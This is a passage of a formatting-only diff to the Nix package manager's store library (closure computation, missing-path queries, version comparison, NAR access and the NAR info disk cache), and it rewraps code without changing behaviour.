+parseBuilderLines(const std::set & defaultSystems, const std::vector & builders) { Machines result; - std::transform( - builders.begin(), builders.end(), std::back_inserter(result), - [&](auto && line) { return parseBuilderLine(defaultSystems, line); }); + std::transform(builders.begin(), builders.end(), std::back_inserter(result), [&](auto && line) { + return parseBuilderLine(defaultSystems, line); + }); return result; } diff --git a/src/libstore/make-content-addressed.cc b/src/libstore/make-content-addressed.cc index 606d72866..ec1cdaa64 100644 --- a/src/libstore/make-content-addressed.cc +++ b/src/libstore/make-content-addressed.cc @@ -3,10 +3,7 @@ namespace nix { -std::map makeContentAddressed( - Store & srcStore, - Store & dstStore, - const StorePathSet & storePaths) +std::map makeContentAddressed(Store & srcStore, Store & dstStore, const StorePathSet & storePaths) { StorePathSet closure; srcStore.computeFSClosure(storePaths, closure); @@ -48,10 +45,10 @@ std::map makeContentAddressed( auto narModuloHash = hashModuloSink.finish().first; - ValidPathInfo info { + ValidPathInfo info{ dstStore, path.name(), - FixedOutputInfo { + FixedOutputInfo{ .method = FileIngestionMethod::NixArchive, .hash = narModuloHash, .references = std::move(refs), @@ -78,12 +75,9 @@ std::map makeContentAddressed( return remappings; } -StorePath makeContentAddressed( - Store & srcStore, - Store & dstStore, - const StorePath & fromPath) +StorePath makeContentAddressed(Store & srcStore, Store & dstStore, const StorePath & fromPath) { - auto remappings = makeContentAddressed(srcStore, dstStore, StorePathSet { fromPath }); + auto remappings = makeContentAddressed(srcStore, dstStore, StorePathSet{fromPath}); auto i = remappings.find(fromPath); assert(i != remappings.end()); return i->second; diff --git a/src/libstore/misc.cc b/src/libstore/misc.cc index 0e2b62db5..465745f16 100644 --- a/src/libstore/misc.cc +++ b/src/libstore/misc.cc @@ -15,41 +15,43 @@ namespace nix { -void Store::computeFSClosure(const StorePathSet & startPaths, - StorePathSet & paths_, bool flipDirection, bool includeOutputs, bool includeDerivers) +void Store::computeFSClosure( + const StorePathSet & startPaths, + StorePathSet & paths_, + bool flipDirection, + bool includeOutputs, + bool includeDerivers) { std::function(const StorePath & path, std::future> &)> queryDeps; if (flipDirection) - queryDeps = [&](const StorePath& path, - std::future> & fut) { + queryDeps = [&](const StorePath & path, std::future> & fut) { StorePathSet res; StorePathSet referrers; queryReferrers(path, referrers); - for (auto& ref : referrers) + for (auto & ref : referrers) if (ref != path) res.insert(ref); if (includeOutputs) - for (auto& i : queryValidDerivers(path)) + for (auto & i : queryValidDerivers(path)) res.insert(i); if (includeDerivers && path.isDerivation()) - for (auto& [_, maybeOutPath] : queryPartialDerivationOutputMap(path)) + for (auto & [_, maybeOutPath] : queryPartialDerivationOutputMap(path)) if (maybeOutPath && isValidPath(*maybeOutPath)) res.insert(*maybeOutPath); return res; }; else - queryDeps = [&](const StorePath& path, - std::future> & fut) { + queryDeps = [&](const StorePath & path, std::future> & fut) { StorePathSet res; auto info = fut.get(); - for (auto& ref : info->references) + for (auto & ref : info->references) if (ref != path) res.insert(ref); if (includeOutputs && path.isDerivation()) - for (auto& [_, maybeOutPath] : queryPartialDerivationOutputMap(path)) + for (auto & [_, maybeOutPath] : queryPartialDerivationOutputMap(path)) if (maybeOutPath && isValidPath(*maybeOutPath)) res.insert(*maybeOutPath); @@ -59,34 +61,31 @@ void Store::computeFSClosure(const StorePathSet & startPaths, }; computeClosure( - startPaths, paths_, - [&](const StorePath& path, - std::function>&)> - processEdges) { + startPaths, + paths_, + [&](const StorePath & path, std::function> &)> processEdges) { std::promise> promise; - std::function>)> - getDependencies = - [&](std::future> fut) { - try { - promise.set_value(queryDeps(path, fut)); - } catch (...) { - promise.set_exception(std::current_exception()); - } - }; + std::function>)> getDependencies = + [&](std::future> fut) { + try { + promise.set_value(queryDeps(path, fut)); + } catch (...) { + promise.set_exception(std::current_exception()); + } + }; queryPathInfo(path, getDependencies); processEdges(promise); }); } -void Store::computeFSClosure(const StorePath & startPath, - StorePathSet & paths_, bool flipDirection, bool includeOutputs, bool includeDerivers) +void Store::computeFSClosure( + const StorePath & startPath, StorePathSet & paths_, bool flipDirection, bool includeOutputs, bool includeDerivers) { StorePathSet paths; paths.insert(startPath); computeFSClosure(paths, paths_, flipDirection, includeOutputs, includeDerivers); } - const ContentAddress * getDerivationCA(const BasicDerivation & drv) { auto out = drv.outputs.find("out"); @@ -98,9 +97,13 @@ const ContentAddress * getDerivationCA(const BasicDerivation & drv) return nullptr; } -void Store::queryMissing(const std::vector & targets, - StorePathSet & willBuild_, StorePathSet & willSubstitute_, StorePathSet & unknown_, - uint64_t & downloadSize_, uint64_t & narSize_) +void Store::queryMissing( + const std::vector & targets, + StorePathSet & willBuild_, + StorePathSet & willSubstitute_, + StorePathSet & unknown_, + uint64_t & downloadSize_, + uint64_t & narSize_) { Activity act(*logger, lvlDebug, actUnknown, "querying info about missing paths"); @@ -112,7 +115,7 @@ void Store::queryMissing(const std::vector & targets, struct State { std::unordered_set done; - StorePathSet & unknown, & willSubstitute, & willBuild; + StorePathSet &unknown, &willSubstitute, &willBuild; uint64_t & downloadSize; uint64_t & narSize; }; @@ -122,7 +125,10 @@ void Store::queryMissing(const std::vector & targets, size_t left; bool done = false; StorePathSet outPaths; - DrvState(size_t left) : left(left) { } + DrvState(size_t left) + : left(left) + { + } }; Sync state_(State{{}, unknown_, willSubstitute_, willBuild_, downloadSize_, narSize_}); @@ -133,11 +139,9 @@ void Store::queryMissing(const std::vector & targets, enqueueDerivedPaths = [&](ref inputDrv, const DerivedPathMap::ChildNode & inputNode) { if (!inputNode.value.empty()) - pool.enqueue(std::bind(doPath, DerivedPath::Built { inputDrv, inputNode.value })); + pool.enqueue(std::bind(doPath, DerivedPath::Built{inputDrv, inputNode.value})); for (const auto & [outputName, childNode] : inputNode.childMap) - enqueueDerivedPaths( - make_ref(SingleDerivedPath::Built { inputDrv, outputName }), - childNode); + enqueueDerivedPaths(make_ref(SingleDerivedPath::Built{inputDrv, outputName}), childNode); }; auto mustBuildDrv = [&](const StorePath & drvPath, const Derivation & drv) { @@ -151,145 +155,152 @@ void Store::queryMissing(const std::vector & targets, } }; - auto checkOutput = [&]( - const StorePath & drvPath, ref drv, const StorePath & outPath, ref> drvState_) - { - if (drvState_->lock()->done) return; - - SubstitutablePathInfos infos; - auto * cap = getDerivationCA(*drv); - querySubstitutablePathInfos({ - { - outPath, - cap ? std::optional { *cap } : std::nullopt, - }, - }, infos); - - if (infos.empty()) { - drvState_->lock()->done = true; - mustBuildDrv(drvPath, *drv); - } else { - { - auto drvState(drvState_->lock()); - if (drvState->done) return; - assert(drvState->left); - drvState->left--; - drvState->outPaths.insert(outPath); - if (!drvState->left) { - for (auto & path : drvState->outPaths) - pool.enqueue(std::bind(doPath, DerivedPath::Opaque { path } )); - } - } - } - }; - - doPath = [&](const DerivedPath & req) { - - { - auto state(state_.lock()); - if (!state->done.insert(req.to_string(*this)).second) return; - } - - std::visit(overloaded { - [&](const DerivedPath::Built & bfd) { - auto drvPathP = std::get_if(&*bfd.drvPath); - if (!drvPathP) { - // TODO make work in this case. - warn("Ignoring dynamic derivation %s while querying missing paths; not yet implemented", bfd.drvPath->to_string(*this)); + auto checkOutput = + [&](const StorePath & drvPath, ref drv, const StorePath & outPath, ref> drvState_) { + if (drvState_->lock()->done) return; - } - auto & drvPath = drvPathP->path; - - if (!isValidPath(drvPath)) { - // FIXME: we could try to substitute the derivation. - auto state(state_.lock()); - state->unknown.insert(drvPath); - return; - } - - StorePathSet invalid; - /* true for regular derivations, and CA derivations for which we - have a trust mapping for all wanted outputs. */ - auto knownOutputPaths = true; - for (auto & [outputName, pathOpt] : queryPartialDerivationOutputMap(drvPath)) { - if (!pathOpt) { - knownOutputPaths = false; - break; - } - if (bfd.outputs.contains(outputName) && !isValidPath(*pathOpt)) - invalid.insert(*pathOpt); - } - if (knownOutputPaths && invalid.empty()) return; - - auto drv = make_ref(derivationFromPath(drvPath)); - ParsedDerivation parsedDrv(StorePath(drvPath), *drv); - DerivationOptions drvOptions = DerivationOptions::fromParsedDerivation(parsedDrv); - - if (!knownOutputPaths && settings.useSubstitutes && drvOptions.substitutesAllowed()) { - experimentalFeatureSettings.require(Xp::CaDerivations); - - // If there are unknown output paths, attempt to find if the - // paths are known to substituters through a realisation. - auto outputHashes = staticOutputHashes(*this, *drv); - knownOutputPaths = true; - - for (auto [outputName, hash] : outputHashes) { - if (!bfd.outputs.contains(outputName)) - continue; - - bool found = false; - for (auto &sub : getDefaultSubstituters()) { - auto realisation = sub->queryRealisation({hash, outputName}); - if (!realisation) - continue; - found = true; - if (!isValidPath(realisation->outPath)) - invalid.insert(realisation->outPath); - break; - } - if (!found) { - // Some paths did not have a realisation, this must be built. - knownOutputPaths = false; - break; - } - } - } - - if (knownOutputPaths && settings.useSubstitutes && drvOptions.substitutesAllowed()) { - auto drvState = make_ref>(DrvState(invalid.size())); - for (auto & output : invalid) - pool.enqueue(std::bind(checkOutput, drvPath, drv, output, drvState)); - } else - mustBuildDrv(drvPath, *drv); - - }, - [&](const DerivedPath::Opaque & bo) { - - if (isValidPath(bo.path)) return; SubstitutablePathInfos infos; - querySubstitutablePathInfos({{bo.path, std::nullopt}}, infos); + auto * cap = getDerivationCA(*drv); + querySubstitutablePathInfos( + { + { + outPath, + cap ? std::optional{*cap} : std::nullopt, + }, + }, + infos); if (infos.empty()) { - auto state(state_.lock()); - state->unknown.insert(bo.path); + drvState_->lock()->done = true; + mustBuildDrv(drvPath, *drv); + } else { + { + auto drvState(drvState_->lock()); + if (drvState->done) + return; + assert(drvState->left); + drvState->left--; + drvState->outPaths.insert(outPath); + if (!drvState->left) { + for (auto & path : drvState->outPaths) + pool.enqueue(std::bind(doPath, DerivedPath::Opaque{path})); + } + } + } + }; + + doPath = [&](const DerivedPath & req) { + { + auto state(state_.lock()); + if (!state->done.insert(req.to_string(*this)).second) return; - } + } - auto info = infos.find(bo.path); - assert(info != infos.end()); + std::visit( + overloaded{ + [&](const DerivedPath::Built & bfd) { + auto drvPathP = std::get_if(&*bfd.drvPath); + if (!drvPathP) { + // TODO make work in this case. + warn( + "Ignoring dynamic derivation %s while querying missing paths; not yet implemented", + bfd.drvPath->to_string(*this)); + return; + } + auto & drvPath = drvPathP->path; - { - auto state(state_.lock()); - state->willSubstitute.insert(bo.path); - state->downloadSize += info->second.downloadSize; - state->narSize += info->second.narSize; - } + if (!isValidPath(drvPath)) { + // FIXME: we could try to substitute the derivation. + auto state(state_.lock()); + state->unknown.insert(drvPath); + return; + } - for (auto & ref : info->second.references) - pool.enqueue(std::bind(doPath, DerivedPath::Opaque { ref })); - }, - }, req.raw()); + StorePathSet invalid; + /* true for regular derivations, and CA derivations for which we + have a trust mapping for all wanted outputs. */ + auto knownOutputPaths = true; + for (auto & [outputName, pathOpt] : queryPartialDerivationOutputMap(drvPath)) { + if (!pathOpt) { + knownOutputPaths = false; + break; + } + if (bfd.outputs.contains(outputName) && !isValidPath(*pathOpt)) + invalid.insert(*pathOpt); + } + if (knownOutputPaths && invalid.empty()) + return; + + auto drv = make_ref(derivationFromPath(drvPath)); + ParsedDerivation parsedDrv(StorePath(drvPath), *drv); + DerivationOptions drvOptions = DerivationOptions::fromParsedDerivation(parsedDrv); + + if (!knownOutputPaths && settings.useSubstitutes && drvOptions.substitutesAllowed()) { + experimentalFeatureSettings.require(Xp::CaDerivations); + + // If there are unknown output paths, attempt to find if the + // paths are known to substituters through a realisation. + auto outputHashes = staticOutputHashes(*this, *drv); + knownOutputPaths = true; + + for (auto [outputName, hash] : outputHashes) { + if (!bfd.outputs.contains(outputName)) + continue; + + bool found = false; + for (auto & sub : getDefaultSubstituters()) { + auto realisation = sub->queryRealisation({hash, outputName}); + if (!realisation) + continue; + found = true; + if (!isValidPath(realisation->outPath)) + invalid.insert(realisation->outPath); + break; + } + if (!found) { + // Some paths did not have a realisation, this must be built. + knownOutputPaths = false; + break; + } + } + } + + if (knownOutputPaths && settings.useSubstitutes && drvOptions.substitutesAllowed()) { + auto drvState = make_ref>(DrvState(invalid.size())); + for (auto & output : invalid) + pool.enqueue(std::bind(checkOutput, drvPath, drv, output, drvState)); + } else + mustBuildDrv(drvPath, *drv); + }, + [&](const DerivedPath::Opaque & bo) { + if (isValidPath(bo.path)) + return; + + SubstitutablePathInfos infos; + querySubstitutablePathInfos({{bo.path, std::nullopt}}, infos); + + if (infos.empty()) { + auto state(state_.lock()); + state->unknown.insert(bo.path); + return; + } + + auto info = infos.find(bo.path); + assert(info != infos.end()); + + { + auto state(state_.lock()); + state->willSubstitute.insert(bo.path); + state->downloadSize += info->second.downloadSize; + state->narSize += info->second.narSize; + } + + for (auto & ref : info->second.references) + pool.enqueue(std::bind(doPath, DerivedPath::Opaque{ref})); + }, + }, + req.raw()); }; for (auto & path : targets) @@ -298,10 +309,10 @@ void Store::queryMissing(const std::vector & targets, pool.process(); } - StorePaths Store::topoSortPaths(const StorePathSet & paths) { - return topoSort(paths, + return topoSort( + paths, {[&](const StorePath & path) { try { return queryPathInfo(path)->references; @@ -311,15 +322,12 @@ StorePaths Store::topoSortPaths(const StorePathSet & paths) }}, {[&](const StorePath & path, const StorePath & parent) { return BuildError( - "cycle detected in the references of '%s' from '%s'", - printStorePath(path), - printStorePath(parent)); + "cycle detected in the references of '%s' from '%s'", printStorePath(path), printStorePath(parent)); }}); } -std::map drvOutputReferences( - const std::set & inputRealisations, - const StorePathSet & pathReferences) +std::map +drvOutputReferences(const std::set & inputRealisations, const StorePathSet & pathReferences) { std::map res; @@ -332,11 +340,8 @@ std::map drvOutputReferences( return res; } -std::map drvOutputReferences( - Store & store, - const Derivation & drv, - const StorePath & outputPath, - Store * evalStore_) +std::map +drvOutputReferences(Store & store, const Derivation & drv, const StorePath & outputPath, Store * evalStore_) { auto & evalStore = evalStore_ ? *evalStore_ : store; @@ -346,27 +351,23 @@ std::map drvOutputReferences( accumRealisations = [&](const StorePath & inputDrv, const DerivedPathMap::ChildNode & inputNode) { if (!inputNode.value.empty()) { - auto outputHashes = - staticOutputHashes(evalStore, evalStore.readDerivation(inputDrv)); + auto outputHashes = staticOutputHashes(evalStore, evalStore.readDerivation(inputDrv)); for (const auto & outputName : inputNode.value) { auto outputHash = get(outputHashes, outputName); if (!outputHash) throw Error( - "output '%s' of derivation '%s' isn't realised", outputName, - store.printStorePath(inputDrv)); - auto thisRealisation = store.queryRealisation( - DrvOutput{*outputHash, outputName}); + "output '%s' of derivation '%s' isn't realised", outputName, store.printStorePath(inputDrv)); + auto thisRealisation = store.queryRealisation(DrvOutput{*outputHash, outputName}); if (!thisRealisation) throw Error( - "output '%s' of derivation '%s' isn’t built", outputName, - store.printStorePath(inputDrv)); + "output '%s' of derivation '%s' isn’t built", outputName, store.printStorePath(inputDrv)); inputRealisations.insert(*thisRealisation); } } if (!inputNode.value.empty()) { auto d = makeConstantStorePathRef(inputDrv); for (const auto & [outputName, childNode] : inputNode.childMap) { - SingleDerivedPath next = SingleDerivedPath::Built { d, outputName }; + SingleDerivedPath next = SingleDerivedPath::Built{d, outputName}; accumRealisations( // TODO deep resolutions for dynamic derivations, issue #8947, would go here. resolveDerivedPath(store, next, evalStore_), @@ -389,25 +390,28 @@ OutputPathMap resolveDerivedPath(Store & store, const DerivedPath::Built & bfd, auto outputsOpt_ = store.queryPartialDerivationOutputMap(drvPath, evalStore_); - auto outputsOpt = std::visit(overloaded { - [&](const OutputsSpec::All &) { - // Keep all outputs - return std::move(outputsOpt_); + auto outputsOpt = std::visit( + overloaded{ + [&](const OutputsSpec::All &) { + // Keep all outputs + return std::move(outputsOpt_); + }, + [&](const OutputsSpec::Names & names) { + // Get just those mentioned by name + std::map> outputsOpt; + for (auto & output : names) { + auto * pOutputPathOpt = get(outputsOpt_, output); + if (!pOutputPathOpt) + throw Error( + "the derivation '%s' doesn't have an output named '%s'", + bfd.drvPath->to_string(store), + output); + outputsOpt.insert_or_assign(output, std::move(*pOutputPathOpt)); + } + return outputsOpt; + }, }, - [&](const OutputsSpec::Names & names) { - // Get just those mentioned by name - std::map> outputsOpt; - for (auto & output : names) { - auto * pOutputPathOpt = get(outputsOpt_, output); - if (!pOutputPathOpt) - throw Error( - "the derivation '%s' doesn't have an output named '%s'", - bfd.drvPath->to_string(store), output); - outputsOpt.insert_or_assign(output, std::move(*pOutputPathOpt)); - } - return outputsOpt; - }, - }, bfd.outputs.raw); + bfd.outputs.raw); OutputPathMap outputs; for (auto & [outputName, outputPathOpt] : outputsOpt) { @@ -419,42 +423,40 @@ OutputPathMap resolveDerivedPath(Store & store, const DerivedPath::Built & bfd, return outputs; } - StorePath resolveDerivedPath(Store & store, const SingleDerivedPath & req, Store * evalStore_) { auto & evalStore = evalStore_ ? *evalStore_ : store; - return std::visit(overloaded { - [&](const SingleDerivedPath::Opaque & bo) { - return bo.path; + return std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque & bo) { return bo.path; }, + [&](const SingleDerivedPath::Built & bfd) { + auto drvPath = resolveDerivedPath(store, *bfd.drvPath, evalStore_); + auto outputPaths = evalStore.queryPartialDerivationOutputMap(drvPath, evalStore_); + if (outputPaths.count(bfd.output) == 0) + throw Error( + "derivation '%s' does not have an output named '%s'", + store.printStorePath(drvPath), + bfd.output); + auto & optPath = outputPaths.at(bfd.output); + if (!optPath) + throw MissingRealisation(bfd.drvPath->to_string(store), bfd.output); + return *optPath; + }, }, - [&](const SingleDerivedPath::Built & bfd) { - auto drvPath = resolveDerivedPath(store, *bfd.drvPath, evalStore_); - auto outputPaths = evalStore.queryPartialDerivationOutputMap(drvPath, evalStore_); - if (outputPaths.count(bfd.output) == 0) - throw Error("derivation '%s' does not have an output named '%s'", - store.printStorePath(drvPath), bfd.output); - auto & optPath = outputPaths.at(bfd.output); - if (!optPath) - throw MissingRealisation(bfd.drvPath->to_string(store), bfd.output); - return *optPath; - }, - }, req.raw()); + req.raw()); } - OutputPathMap resolveDerivedPath(Store & store, const DerivedPath::Built & bfd) { auto drvPath = resolveDerivedPath(store, *bfd.drvPath); auto outputMap = store.queryDerivationOutputMap(drvPath); - auto outputsLeft = std::visit(overloaded { - [&](const OutputsSpec::All &) { - return StringSet {}; + auto outputsLeft = std::visit( + overloaded{ + [&](const OutputsSpec::All &) { return StringSet{}; }, + [&](const OutputsSpec::Names & names) { return static_cast(names); }, }, - [&](const OutputsSpec::Names & names) { - return static_cast(names); - }, - }, bfd.outputs.raw); + bfd.outputs.raw); for (auto iter = outputMap.begin(); iter != outputMap.end();) { auto & outputName = iter->first; if (bfd.outputs.contains(outputName)) { @@ -465,7 +467,8 @@ OutputPathMap resolveDerivedPath(Store & store, const DerivedPath::Built & bfd) } } if (!outputsLeft.empty()) - throw Error("derivation '%s' does not have an outputs %s", + throw Error( + "derivation '%s' does not have an outputs %s", store.printStorePath(drvPath), concatStringsSep(", ", quoteStrings(std::get(bfd.outputs.raw)))); return outputMap; diff --git a/src/libstore/names.cc b/src/libstore/names.cc index 998b9356a..9a84afcab 100644 --- a/src/libstore/names.cc +++ b/src/libstore/names.cc @@ -3,28 +3,25 @@ #include - namespace nix { - struct Regex { std::regex regex; }; - DrvName::DrvName() { name = ""; } - /* Parse a derivation name. The `name' part of a derivation name is everything up to but not including the first dash *not* followed by a letter. The `version' part is the rest (excluding the separating dash). E.g., `apache-httpd-2.0.48' is parsed to (`apache-httpd', '2.0.48'). */ -DrvName::DrvName(std::string_view s) : hits(0) +DrvName::DrvName(std::string_view s) + : hits(0) { name = fullName = std::string(s); for (unsigned int i = 0; i < s.size(); ++i) { @@ -37,10 +34,7 @@ DrvName::DrvName(std::string_view s) : hits(0) } } - -DrvName::~DrvName() -{ } - +DrvName::~DrvName() {} bool DrvName::matches(const DrvName & n) { @@ -49,27 +43,30 @@ bool DrvName::matches(const DrvName & n) regex = std::make_unique(); regex->regex = std::regex(name, std::regex::extended); } - if (!std::regex_match(n.name, regex->regex)) return false; + if (!std::regex_match(n.name, regex->regex)) + return false; } - if (version != "" && version != n.version) return false; + if (version != "" && version != n.version) + return false; return true; } - -std::string_view nextComponent(std::string_view::const_iterator & p, - const std::string_view::const_iterator end) +std::string_view nextComponent(std::string_view::const_iterator & p, const std::string_view::const_iterator end) { /* Skip any dots and dashes (component separators). */ - while (p != end && (*p == '.' || *p == '-')) ++p; + while (p != end && (*p == '.' || *p == '-')) + ++p; - if (p == end) return ""; + if (p == end) + return ""; /* If the first character is a digit, consume the longest sequence of digits. Otherwise, consume the longest sequence of non-digit, non-separator characters. */ auto s = p; if (isdigit(*p)) - while (p != end && isdigit(*p)) p++; + while (p != end && isdigit(*p)) + p++; else while (p != end && (!isdigit(*p) && *p != '.' && *p != '-')) p++; @@ -77,23 +74,28 @@ std::string_view nextComponent(std::string_view::const_iterator & p, return {s, size_t(p - s)}; } - static bool componentsLT(const std::string_view c1, const std::string_view c2) { auto n1 = string2Int(c1); auto n2 = string2Int(c2); - if (n1 && n2) return *n1 < *n2; - else if (c1 == "" && n2) return true; - else if (c1 == "pre" && c2 != "pre") return true; - else if (c2 == "pre") return false; + if (n1 && n2) + return *n1 < *n2; + else if (c1 == "" && n2) + return true; + else if (c1 == "pre" && c2 != "pre") + return true; + else if (c2 == "pre") + return false; /* Assume that `2.3a' < `2.3.1'. */ - else if (n2) return true; - else if (n1) return false; - else return c1 < c2; + else if (n2) + return true; + else if (n1) + return false; + else + return c1 < c2; } - std::strong_ordering compareVersions(const std::string_view v1, const std::string_view v2) { auto p1 = v1.begin(); @@ -102,14 +104,15 @@ std::strong_ordering compareVersions(const std::string_view v1, const std::strin while (p1 != v1.end() || p2 != v2.end()) { auto c1 = nextComponent(p1, v1.end()); auto c2 = nextComponent(p2, v2.end()); - if (componentsLT(c1, c2)) return std::strong_ordering::less; - else if (componentsLT(c2, c1)) return std::strong_ordering::greater; + if (componentsLT(c1, c2)) + return std::strong_ordering::less; + else if (componentsLT(c2, c1)) + return std::strong_ordering::greater; } return std::strong_ordering::equal; } - DrvNames drvNamesFromArgs(const Strings & opArgs) { DrvNames result; @@ -118,5 +121,4 @@ DrvNames drvNamesFromArgs(const Strings & opArgs) return result; } - } diff --git a/src/libstore/nar-accessor.cc b/src/libstore/nar-accessor.cc index 6aba68a36..27d3ccb34 100644 --- a/src/libstore/nar-accessor.cc +++ b/src/libstore/nar-accessor.cc @@ -29,8 +29,10 @@ private: public: NarMemberConstructor(NarMember & nm, uint64_t & pos) - : narMember(nm), pos(pos) - { } + : narMember(nm) + , pos(pos) + { + } void isExecutable() override { @@ -43,8 +45,7 @@ public: narMember.stat.narOffset = pos; } - void operator () (std::string_view data) override - { } + void operator()(std::string_view data) override {} }; struct NarAccessor : public SourceAccessor @@ -67,18 +68,21 @@ struct NarAccessor : public SourceAccessor uint64_t pos = 0; NarIndexer(NarAccessor & acc, Source & source) - : acc(acc), source(source) - { } + : acc(acc) + , source(source) + { + } NarMember & createMember(const CanonPath & path, NarMember member) { size_t level = 0; for (auto _ : path) { - (void)_; + (void) _; ++level; } - while (parents.size() > level) parents.pop(); + while (parents.size() > level) + parents.pop(); if (parents.empty()) { acc.root = std::move(member); @@ -96,32 +100,23 @@ struct NarAccessor : public SourceAccessor void createDirectory(const CanonPath & path) override { - createMember(path, NarMember{ .stat = { - .type = Type::tDirectory, - .fileSize = 0, - .isExecutable = false, - .narOffset = 0 - } }); + createMember( + path, + NarMember{.stat = {.type = Type::tDirectory, .fileSize = 0, .isExecutable = false, .narOffset = 0}}); } void createRegularFile(const CanonPath & path, std::function func) override { - auto & nm = createMember(path, NarMember{ .stat = { - .type = Type::tRegular, - .fileSize = 0, - .isExecutable = false, - .narOffset = 0 - } }); - NarMemberConstructor nmc { nm, pos }; + auto & nm = createMember( + path, + NarMember{.stat = {.type = Type::tRegular, .fileSize = 0, .isExecutable = false, .narOffset = 0}}); + NarMemberConstructor nmc{nm, pos}; func(nmc); } void createSymlink(const CanonPath & path, const std::string & target) override { - createMember(path, - NarMember{ - .stat = {.type = Type::tSymlink}, - .target = target}); + createMember(path, NarMember{.stat = {.type = Type::tSymlink}, .target = target}); } size_t read(char * data, size_t len) override @@ -132,7 +127,8 @@ struct NarAccessor : public SourceAccessor } }; - NarAccessor(std::string && _nar) : nar(_nar) + NarAccessor(std::string && _nar) + : nar(_nar) { StringSource source(*nar); NarIndexer indexer(*this, source); @@ -157,7 +153,7 @@ struct NarAccessor : public SourceAccessor if (type == "directory") { member.stat = {.type = Type::tDirectory}; - for (const auto &[name, function] : v["entries"].items()) { + for (const auto & [name, function] : v["entries"].items()) { recurse(member.children[name], function); } } else if (type == "regular") { @@ -165,12 +161,12 @@ struct NarAccessor : public SourceAccessor .type = Type::tRegular, .fileSize = v["size"], .isExecutable = v.value("executable", false), - .narOffset = v["narOffset"] - }; + .narOffset = v["narOffset"]}; } else if (type == "symlink") { member.stat = {.type = Type::tSymlink}; member.target = v.value("target", ""); - } else return; + } else + return; }; json v = json::parse(listing); @@ -182,16 +178,19 @@ struct NarAccessor : public SourceAccessor NarMember * current = &root; for (const auto & i : path) { - if (current->stat.type != Type::tDirectory) return nullptr; + if (current->stat.type != Type::tDirectory) + return nullptr; auto child = current->children.find(std::string(i)); - if (child == current->children.end()) return nullptr; + if (child == current->children.end()) + return nullptr; current = &child->second; } return current; } - NarMember & get(const CanonPath & path) { + NarMember & get(const CanonPath & path) + { auto result = find(path); if (!result) throw Error("NAR file does not contain path '%1%'", path); @@ -226,7 +225,8 @@ struct NarAccessor : public SourceAccessor if (i.stat.type != Type::tRegular) throw Error("path '%1%' inside NAR file is not a regular file", path); - if (getNarBytes) return getNarBytes(*i.stat.narOffset, *i.stat.fileSize); + if (getNarBytes) + return getNarBytes(*i.stat.narOffset, *i.stat.fileSize); assert(nar); return std::string(*nar, *i.stat.narOffset, *i.stat.fileSize); @@ -251,8 +251,7 @@ ref makeNarAccessor(Source & source) return make_ref(source); } -ref makeLazyNarAccessor(const std::string & listing, - GetNarBytes getNarBytes) +ref makeLazyNarAccessor(const std::string & listing, GetNarBytes getNarBytes) { return make_ref(listing, getNarBytes); } @@ -278,7 +277,7 @@ json listNar(ref accessor, const CanonPath & path, bool recurse) obj["type"] = "directory"; { obj["entries"] = json::object(); - json &res2 = obj["entries"]; + json & res2 = obj["entries"]; for (const auto & [name, type] : accessor->readDirectory(path)) { if (recurse) { res2[name] = listNar(accessor, path / name, true); diff --git a/src/libstore/nar-info-disk-cache.cc b/src/libstore/nar-info-disk-cache.cc index 5d72ba8ae..1bdfa30b7 100644 --- a/src/libstore/nar-info-disk-cache.cc +++ b/src/libstore/nar-info-disk-cache.cc @@ -79,9 +79,8 @@ public: struct State { SQLite db; - SQLiteStmt insertCache, queryCache, insertNAR, insertMissingNAR, - queryNAR, insertRealisation, insertMissingRealisation, - queryRealisation, purgeCache; + SQLiteStmt insertCache, queryCache, insertNAR, insertMissingNAR, queryNAR, insertRealisation, + insertMissingRealisation, queryRealisation, purgeCache; std::map caches; }; @@ -99,35 +98,42 @@ public: state->db.exec(schema); - state->insertCache.create(state->db, + state->insertCache.create( + state->db, "insert into BinaryCaches(url, timestamp, storeDir, wantMassQuery, priority) values (?1, ?2, ?3, ?4, ?5) on conflict (url) do update set timestamp = ?2, storeDir = ?3, wantMassQuery = ?4, priority = ?5 returning id;"); - state->queryCache.create(state->db, + state->queryCache.create( + state->db, "select id, storeDir, wantMassQuery, priority from BinaryCaches where url = ? and timestamp > ?"); - state->insertNAR.create(state->db, + state->insertNAR.create( + state->db, "insert or replace into NARs(cache, hashPart, namePart, url, compression, fileHash, fileSize, narHash, " "narSize, refs, deriver, sigs, ca, timestamp, present) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 1)"); - state->insertMissingNAR.create(state->db, - "insert or replace into NARs(cache, hashPart, timestamp, present) values (?, ?, ?, 0)"); + state->insertMissingNAR.create( + state->db, "insert or replace into NARs(cache, hashPart, timestamp, present) values (?, ?, ?, 0)"); - state->queryNAR.create(state->db, + state->queryNAR.create( + state->db, "select present, namePart, url, compression, fileHash, fileSize, narHash, narSize, refs, deriver, sigs, ca from NARs where cache = ? and hashPart = ? and ((present = 0 and timestamp > ?) or (present = 1 and timestamp > ?))"); - state->insertRealisation.create(state->db, + state->insertRealisation.create( + state->db, R"( insert or replace into Realisations(cache, outputId, content, timestamp) values (?, ?, ?, ?) )"); - state->insertMissingRealisation.create(state->db, + state->insertMissingRealisation.create( + state->db, R"( insert or replace into Realisations(cache, outputId, timestamp) values (?, ?, ?) )"); - state->queryRealisation.create(state->db, + state->queryRealisation.create( + state->db, R"( select content from Realisations where cache = ? and outputId = ? and @@ -143,20 +149,21 @@ public: auto queryLastPurge_(queryLastPurge.use()); if (!queryLastPurge_.next() || queryLastPurge_.getInt(0) < now - purgeInterval) { - SQLiteStmt(state->db, + SQLiteStmt( + state->db, "delete from NARs where ((present = 0 and timestamp < ?) or (present = 1 and timestamp < ?))") .use() // Use a minimum TTL to prevent --refresh from // nuking the entire disk cache. - (now - std::max(settings.ttlNegativeNarInfoCache.get(), 3600U)) - (now - std::max(settings.ttlPositiveNarInfoCache.get(), 30 * 24 * 3600U)) + (now - std::max(settings.ttlNegativeNarInfoCache.get(), 3600U))( + now - std::max(settings.ttlPositiveNarInfoCache.get(), 30 * 24 * 3600U)) .exec(); debug("deleted %d entries from the NAR info disk cache", sqlite3_changes(state->db)); - SQLiteStmt(state->db, - "insert or replace into LastPurge(dummy, value) values ('', ?)") - .use()(now).exec(); + SQLiteStmt(state->db, "insert or replace into LastPurge(dummy, value) values ('', ?)") + .use()(now) + .exec(); } }); } @@ -164,7 +171,8 @@ public: Cache & getCache(State & state, const std::string & uri) { auto i = state.caches.find(uri); - if (i == state.caches.end()) unreachable(); + if (i == state.caches.end()) + unreachable(); return i->second; } @@ -177,7 +185,7 @@ private: 